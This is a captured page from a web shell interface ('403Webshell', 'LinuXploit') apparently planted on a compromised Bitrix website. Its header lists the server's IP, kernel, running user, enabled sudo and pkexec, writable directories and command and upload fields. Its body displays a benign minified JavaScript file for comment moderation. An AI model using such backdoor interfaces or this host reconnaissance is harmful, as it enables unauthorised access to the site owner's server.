403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/burlakastudio.realcommenter/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/burlakastudio.realcommenter/talk_admin_tools.min.js
var $jscomp=$jscomp||{};$jscomp.scope={};$jscomp.arrayIteratorImpl=function(a){var c=0;return function(){return c<a.length?{done:!1,value:a[c++]}:{done:!0}}};$jscomp.arrayIterator=function(a){return{next:$jscomp.arrayIteratorImpl(a)}};$jscomp.ASSUME_ES5=!1;$jscomp.ASSUME_NO_NATIVE_MAP=!1;$jscomp.ASSUME_NO_NATIVE_SET=!1;$jscomp.SIMPLE_FROUND_POLYFILL=!1;
$jscomp.defineProperty=$jscomp.ASSUME_ES5||"function"==typeof Object.defineProperties?Object.defineProperty:function(a,c,b){a!=Array.prototype&&a!=Object.prototype&&(a[c]=b.value)};$jscomp.getGlobal=function(a){return"undefined"!=typeof window&&window===a?a:"undefined"!=typeof global&&null!=global?global:a};$jscomp.global=$jscomp.getGlobal(this);$jscomp.SYMBOL_PREFIX="jscomp_symbol_";$jscomp.initSymbol=function(){$jscomp.initSymbol=function(){};$jscomp.global.Symbol||($jscomp.global.Symbol=$jscomp.Symbol)};
$jscomp.SymbolClass=function(a,c){this.$jscomp$symbol$id_=a;$jscomp.defineProperty(this,"description",{configurable:!0,writable:!0,value:c})};$jscomp.SymbolClass.prototype.toString=function(){return this.$jscomp$symbol$id_};$jscomp.Symbol=function(){function a(b){if(this instanceof a)throw new TypeError("Symbol is not a constructor");return new $jscomp.SymbolClass($jscomp.SYMBOL_PREFIX+(b||"")+"_"+c++,b)}var c=0;return a}();
$jscomp.initSymbolIterator=function(){$jscomp.initSymbol();var a=$jscomp.global.Symbol.iterator;a||(a=$jscomp.global.Symbol.iterator=$jscomp.global.Symbol("Symbol.iterator"));"function"!=typeof Array.prototype[a]&&$jscomp.defineProperty(Array.prototype,a,{configurable:!0,writable:!0,value:function(){return $jscomp.iteratorPrototype($jscomp.arrayIteratorImpl(this))}});$jscomp.initSymbolIterator=function(){}};
$jscomp.initSymbolAsyncIterator=function(){$jscomp.initSymbol();var a=$jscomp.global.Symbol.asyncIterator;a||(a=$jscomp.global.Symbol.asyncIterator=$jscomp.global.Symbol("Symbol.asyncIterator"));$jscomp.initSymbolAsyncIterator=function(){}};$jscomp.iteratorPrototype=function(a){$jscomp.initSymbolIterator();a={next:a};a[$jscomp.global.Symbol.iterator]=function(){return this};return a};
$jscomp.iteratorFromArray=function(a,c){$jscomp.initSymbolIterator();a instanceof String&&(a+="");var b=0,d={next:function(){if(b<a.length){var e=b++;return{value:c(e,a[e]),done:!1}}d.next=function(){return{done:!0,value:void 0}};return d.next()}};d[Symbol.iterator]=function(){return d};return d};
$jscomp.polyfill=function(a,c,b,d){if(c){b=$jscomp.global;a=a.split(".");for(d=0;d<a.length-1;d++){var e=a[d];e in b||(b[e]={});b=b[e]}a=a[a.length-1];d=b[a];c=c(d);c!=d&&null!=c&&$jscomp.defineProperty(b,a,{configurable:!0,writable:!0,value:c})}};$jscomp.polyfill("Array.prototype.keys",function(a){return a?a:function(){return $jscomp.iteratorFromArray(this,function(a){return a})}},"es6","es3");
function realcommenter_admintools_scan_and_init(){document.querySelectorAll(realcommenter_get_selector("tree")+" "+realcommenter_get_selector("admin_tools")+":not([data-inited])").forEach(function(a){var c=a.querySelector("ins");c&&(c.addEventListener("click",realcommenter_admintools_switch_cpu.bind(c,a)),a.setAttribute("data-inited","1"))})}window.addEventListener("load",realcommenter_admintools_scan_and_init);document.addEventListener("tree_updated",realcommenter_admintools_scan_and_init);
function realcommenter_admintools_switch_cpu(a){if(this&&a){var c=a.querySelector(realcommenter_get_selector("admin_fly_cloud"));c?realcommenter_admintools_switch_show.bind(c,a)():realcommenter_admintools_pull.bind(this,a)()}}
function realcommenter_admintools_pull(a){a=realcommenter_get_closest_comment(a);if(!a)return!1;a=a.getAttribute("id");a=a.match(/[0-9]+/);if(!a)return!1;a={request_type:"admin_tools",comment_id:a.shift()};realcommenter_ajaxion.bind(this,{url:"/bitrix/admin/burlakastudio.realcommenter.talk_tree.php",onsuccess:realcommenter_admintools_recieved_template,data:a})()}
function realcommenter_admintools_recieved_template(a){"undefined"!==typeof a.ERROR&&Object.keys(a.ERROR).length?(console.log("ERROR"),console.log(a)):"undefined"!==a.ADMIN_TOOLS_TEMPLATE&&a.ADMIN_TOOLS_TEMPLATE&&(realcommenter_admintools_switch_cpu.template=a.ADMIN_TOOLS_TEMPLATE,typeof a.request.comment_id&&(a=document.querySelector(realcommenter_get_selector("comment_id")+a.request.comment_id))&&realcommenter_admintools_append_toolbox.bind(a)())}
function realcommenter_admintools_append_toolbox(){if("undefined"!==typeof realcommenter_admintools_switch_cpu.template&&realcommenter_admintools_switch_cpu.template){var a=this.querySelector("* > "+realcommenter_get_selector("admin_tools"));if(a){var c=document.createElement("div");c.style.display="none";c.innerHTML=realcommenter_admintools_switch_cpu.template;a.appendChild(c);var b=c.querySelector(realcommenter_get_selector("admin_fly_cloud"));b&&(a.appendChild(b),c.parentNode.removeChild(c),realcommenter_admintools_init_tools_list(a))}}}
function realcommenter_admintools_init_tools_list(a){a.querySelectorAll("[data-action]").forEach(function(c){var b=c.getAttribute("data-action");c.addEventListener("click",realcommenter_admintools_action.bind(c,b,a))});realcommenter_admintools_switch_show(a)}
function realcommenter_admintools_action(a,c){if(this.hasAttribute("data-confirmable")&&!this.hasAttribute("data-action-proof"))this.setAttribute("data-action-proof","1");else switch(a){case "EDIT":realcommenter_admintools_switch_show(c);realcommenter_form_pull.bind(this)();break;case "HIDE":case "FREEZE":case "ACTIVE":case "DELETE":realcommenter_admintools_switch_show(c);var b=realcommenter_get_closest_comment(this);if(!b)return!1;b=b.getAttribute("id");b=b.match(/[0-9]+/);if(!b)return!1;realcommenter_ajaxion.bind(this,
{url:"/bitrix/admin/burlakastudio.realcommenter.talk_tree.php",onsuccess:realcommenter_admintools_ajax_to_expand,data:{request_type:a,comment_id:b.shift(),reverse:+this.hasAttribute("data-reverse")}})();break;case "UN_BAN":case "SEND_TO_BAN":case "INCREESE_WARNING":b=realcommenter_get_closest_comment(this);if(!b)return!1;b=b.getAttribute("id");b=b.match(/[0-9]+/);if(!b)return!1;realcommenter_ajaxion.bind(this,{url:"/bitrix/admin/burlakastudio.realcommenter.talk_tree.php",onsuccess:function(a){a.ERROR&&
Object.keys(a.ERROR).length?(console.log("ERROR"),console.log(a)):a.ACTION_RESULT?a.request&&a.request.comment_id&&realcommenter_find_and_expand(a.request.comment_id):realcommenter_admintools_switch_show(c)},data:{request_type:a,comment_id:b.shift()}})();break;case "APPROVE":b=realcommenter_get_closest_comment(this);if(!b)return!1;b=b.getAttribute("id");b=b.match(/[0-9]+/);if(!b)return!1;realcommenter_ajaxion.bind(this,{url:"/bitrix/admin/burlakastudio.realcommenter.talk_tree.php",onsuccess:function(a){a.ERROR&&
Object.keys(a.ERROR).length?(console.log("ERROR"),console.log(a)):a.ACTION_RESULT?a.request&&a.request.comment_id&&realcommenter_find_and_expand(a.request.comment_id):realcommenter_admintools_switch_show(c)},data:{request_type:a,comment_id:b.shift()}})();break;case "MORE_FROM":b=realcommenter_get_closest_comment(this);if(!b)return!1;b=b.getAttribute("id");b=b.match(/[0-9]+/);if(!b)return!1;realcommenter_ajaxion.bind(this,{url:"/bitrix/admin/burlakastudio.realcommenter.talk_tree.php",onsuccess:function(a){if(a.ERROR&&
Object.keys(a.ERROR).length)console.log("ERROR"),console.log(a);else if(a.LIST){var b=realcommenter_get_closest_comment(this);if(!b)return!1;var d=b.getAttribute("id");d=d.match(/[0-9]+/);if(!d)return!1;realcommenter_admintools_switch_show(c,!1);d=d.shift();a.request.comment_id===d&&(d=document.createElement("div"),d.innerHTML=a.LIST,d=d.children[0],b.querySelectorAll("."+d.className.replace(/\s/,". ")).forEach(function(a){a.parentNode.removeChild(a)}),(b=b.querySelector("article"))&&b.parentNode.insertBefore(d,
b),a.UPLOAD_ASSETS&&BX.load(a.UPLOAD_ASSETS,function(a){if(a&&window[a])window[a]()}.bind(this,a.UPLOAD_CALLBACK)))}}.bind(this),data:{request_type:a,comment_id:b.shift()}})();break;case "REQUEST_INFO":b=realcommenter_get_closest_comment(this);if(!b)return!1;b=b.getAttribute("id");b=b.match(/[0-9]+/);if(!b)return!1;realcommenter_ajaxion.bind(this,{url:"/bitrix/admin/burlakastudio.realcommenter.talk_tree.php",data:{request_type:a,comment_id:b.shift()},onsuccess:function(a){if(a.ERROR&&Object.keys(a.ERROR).length)console.log("ERROR"),
console.log(a);else if(a.INFO){var b=realcommenter_deploy_more_info.bind(this,a,c);a.UPLOAD_ASSETS?BX.load(a.UPLOAD_ASSETS,b):b()}}.bind(this)})();break;default:console.log(a)}}
function realcommenter_deploy_more_info(a,c){var b=realcommenter_get_closest_comment(this);if(!b)return!1;var d=b.getAttribute("id");d=d.match(/[0-9]+/);if(!d)return!1;realcommenter_admintools_switch_show(c,!1);c=d.shift();if(a.request.comment_id===c&&(c=document.createElement("div"),c.innerHTML=a.INFO,c=c.children[0],b.querySelectorAll("."+c.className.replace(/\s/,". ")).forEach(function(a){a.parentNode.removeChild(a)}),(b=b.querySelector("article"))&&b.parentNode.insertBefore(c,b),a.UPLOAD_CALLBACK&&
window[a.UPLOAD_CALLBACK]))window[a.UPLOAD_CALLBACK]()}
function realcommenter_admintools_ajax_to_expand(a){"undefined"!==typeof a.ERROR&&Object.keys(a.ERROR).length?(console.log("ERROR"),console.log(a)):"undefined"!==a.ACTION_RESULT&&a.ACTION_RESULT&&typeof a.request.comment_id&&typeof a.request.comment_id&&("DELETE"===a.request.request_type?(a=document.querySelector(realcommenter_get_selector("comment")+realcommenter_get_selector("comment_id")+a.request.comment_id))&&a.parentNode.removeChild(a):(a=document.querySelector(realcommenter_get_selector("comment")+
realcommenter_get_selector("comment_id")+a.request.comment_id+" *:first-child"))&&realcommenter_expand_branch.bind(a)())}function realcommenter_admintools_switch_show(a,c){if(~a.className.indexOf("_show"))a.outclicker&&(document.removeEventListener("click",a.outclicker),a.outclicker=null);else{var b=realcommenter_admintools_outclicker.bind(a);a.outclicker=b;document.addEventListener("click",b)}a.classList.toggle("_show",c)}
function realcommenter_admintools_outclicker(a){for(var c=0;c<a.path.length;c++)if(a.path[c]===this){a.stopPropagation();return}realcommenter_admintools_switch_show(this,!1)};

Youez - 2016 - github.com/yon3zu
LinuXploit